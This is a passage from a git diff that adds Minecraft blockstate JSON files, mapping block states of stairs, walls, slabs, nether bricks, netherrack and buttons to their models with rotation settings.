"minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_cobblestone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/mossy_cobblestone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_cobblestone_wall.json b/src/assets/minecraft/blockstates/mossy_cobblestone_wall.json new file mode 100644 index 00000000..9adb7a98 --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_cobblestone_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_cobblestone_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_stone_brick_slab.json b/src/assets/minecraft/blockstates/mossy_stone_brick_slab.json new file mode 100644 index 00000000..e8d96fc0 --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_stone_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/mossy_stone_brick_slab" + }, + "type=double": { + "model": "minecraft:block/mossy_stone_bricks" + }, + "type=top": { + "model": "minecraft:block/mossy_stone_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_stone_brick_stairs.json b/src/assets/minecraft/blockstates/mossy_stone_brick_stairs.json new file mode 100644 index 00000000..0fc898c9 --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_stone_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/mossy_stone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/mossy_stone_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_stone_brick_wall.json b/src/assets/minecraft/blockstates/mossy_stone_brick_wall.json new file mode 100644 index 00000000..73ea1ae4 --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_stone_brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/mossy_stone_brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mossy_stone_bricks.json b/src/assets/minecraft/blockstates/mossy_stone_bricks.json new file mode 100644 index 00000000..c17c4a7f --- /dev/null +++ b/src/assets/minecraft/blockstates/mossy_stone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/mossy_stone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/moving_piston.json b/src/assets/minecraft/blockstates/moving_piston.json new file mode 100644 index 00000000..aaa921ff --- /dev/null +++ b/src/assets/minecraft/blockstates/moving_piston.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/moving_piston" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mushroom_stem.json b/src/assets/minecraft/blockstates/mushroom_stem.json new file mode 100644 index 00000000..8f7b1596 --- /dev/null +++ b/src/assets/minecraft/blockstates/mushroom_stem.json @@ -0,0 +1,120 @@ +{ + "multipart": [ + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/mushroom_stem" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/mushroom_stem", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/mushroom_stem", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/mushroom_stem", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/mushroom_stem", + "x": 270, + "uvlock": true + } + }, + { + "when": { + "down": "true" + }, + "apply": { + "model": "minecraft:block/mushroom_stem", + "x": 90, + "uvlock": true + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 90, + "uvlock": false + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 180, + "uvlock": false + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "y": 270, + "uvlock": false + } + }, + { + "when": { + "up": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "x": 270, + "uvlock": false + } + }, + { + "when": { + "down": "false" + }, + "apply": { + "model": "minecraft:block/mushroom_block_inside", + "x": 90, + "uvlock": false + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/mycelium.json b/src/assets/minecraft/blockstates/mycelium.json new file mode 100644 index 00000000..cdf6392d --- /dev/null +++ b/src/assets/minecraft/blockstates/mycelium.json @@ -0,0 +1,24 @@ +{ + "variants": { + "snowy=false": [ + { + "model": "minecraft:block/mycelium" + }, + { + "model": "minecraft:block/mycelium", + "y": 90 + }, + { + "model": "minecraft:block/mycelium", + "y": 180 + }, + { + "model": "minecraft:block/mycelium", + "y": 270 + } + ], + "snowy=true": { + "model": "minecraft:block/grass_block_snow" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_brick_fence.json b/src/assets/minecraft/blockstates/nether_brick_fence.json new file mode 100644 index 00000000..bc93e733 --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_brick_fence.json @@ -0,0 +1,48 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/nether_brick_fence_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/nether_brick_fence_side", + "uvlock": true + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/nether_brick_fence_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/nether_brick_fence_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/nether_brick_fence_side", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_brick_slab.json b/src/assets/minecraft/blockstates/nether_brick_slab.json new file mode 100644 index 00000000..e6e04975 --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/nether_brick_slab" + }, + "type=double": { + "model": "minecraft:block/nether_bricks" + }, + "type=top": { + "model": "minecraft:block/nether_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_brick_stairs.json b/src/assets/minecraft/blockstates/nether_brick_stairs.json new file mode 100644 index 00000000..afe841da --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/nether_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/nether_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/nether_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/nether_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_brick_wall.json b/src/assets/minecraft/blockstates/nether_brick_wall.json new file mode 100644 index 00000000..6e1a5f9f --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/nether_brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_bricks.json b/src/assets/minecraft/blockstates/nether_bricks.json new file mode 100644 index 00000000..85622bf5 --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/nether_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_gold_ore.json b/src/assets/minecraft/blockstates/nether_gold_ore.json new file mode 100644 index 00000000..75e62a37 --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_gold_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/nether_gold_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_portal.json b/src/assets/minecraft/blockstates/nether_portal.json new file mode 100644 index 00000000..af9f386a --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_portal.json @@ -0,0 +1,10 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/nether_portal_ns" + }, + "axis=z": { + "model": "minecraft:block/nether_portal_ew" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_quartz_ore.json b/src/assets/minecraft/blockstates/nether_quartz_ore.json new file mode 100644 index 00000000..b473ab4f --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_quartz_ore.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/nether_quartz_ore" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_sprouts.json b/src/assets/minecraft/blockstates/nether_sprouts.json new file mode 100644 index 00000000..445d1001 --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_sprouts.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/nether_sprouts" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_wart.json b/src/assets/minecraft/blockstates/nether_wart.json new file mode 100644 index 00000000..f956d12c --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_wart.json @@ -0,0 +1,16 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/nether_wart_stage0" + }, + "age=1": { + "model": "minecraft:block/nether_wart_stage1" + }, + "age=2": { + "model": "minecraft:block/nether_wart_stage1" + }, + "age=3": { + "model": "minecraft:block/nether_wart_stage2" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/nether_wart_block.json b/src/assets/minecraft/blockstates/nether_wart_block.json new file mode 100644 index 00000000..ea08ea13 --- /dev/null +++ b/src/assets/minecraft/blockstates/nether_wart_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/nether_wart_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/netherite_block.json b/src/assets/minecraft/blockstates/netherite_block.json new file mode 100644 index 00000000..85f89e95 --- /dev/null +++ b/src/assets/minecraft/blockstates/netherite_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/netherite_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/netherrack.json b/src/assets/minecraft/blockstates/netherrack.json new file mode 100644 index 00000000..1a4fc1e9 --- /dev/null +++ b/src/assets/minecraft/blockstates/netherrack.json @@ -0,0 +1,78 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/netherrack" + }, + { + "model": "minecraft:block/netherrack", + "x": 90 + }, + { + "model": "minecraft:block/netherrack", + "x": 180 + }, + { + "model": "minecraft:block/netherrack", + "x": 270 + }, + { + "model": "minecraft:block/netherrack", + "y": 90 + }, + { + "model": "minecraft:block/netherrack", + "y": 90, + "x": 90 + }, + { + "model": "minecraft:block/netherrack", + "y": 90, + "x": 180 + }, + { + "model": "minecraft:block/netherrack", + "y": 90, + "x": 270 + }, + { + "model": "minecraft:block/netherrack", + "y": 180 + }, + { + "model": "minecraft:block/netherrack", + "y": 180, + "x": 90 + }, + { + "model": "minecraft:block/netherrack", + "y": 180, + "x": 180 + }, + { + "model": "minecraft:block/netherrack", + "y": 180, + "x": 270 + }, + { + "model": "minecraft:block/netherrack", + "y": 270 + }, + { + "model": "minecraft:block/netherrack", + "y": 270, + "x": 90 + }, + { + "model": "minecraft:block/netherrack", + "y": 270, + "x": 180 + }, + { + "model": "minecraft:block/netherrack", + "y": 270, + "x": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/note_block.json b/src/assets/minecraft/blockstates/note_block.json new file mode 100644 index 00000000..651e64c5 --- /dev/null +++ b/src/assets/minecraft/blockstates/note_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/note_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/oak_button.json b/src/assets/minecraft/blockstates/oak_button.json new file mode 100644 index 00000000..9dcb14f4 --- /dev/null +++ b/src/assets/minecraft/blockstates/oak_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/oak_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/oak_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/oak_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/oak_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/oak_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/oak_button_pressed", + "y": 90 + }, + 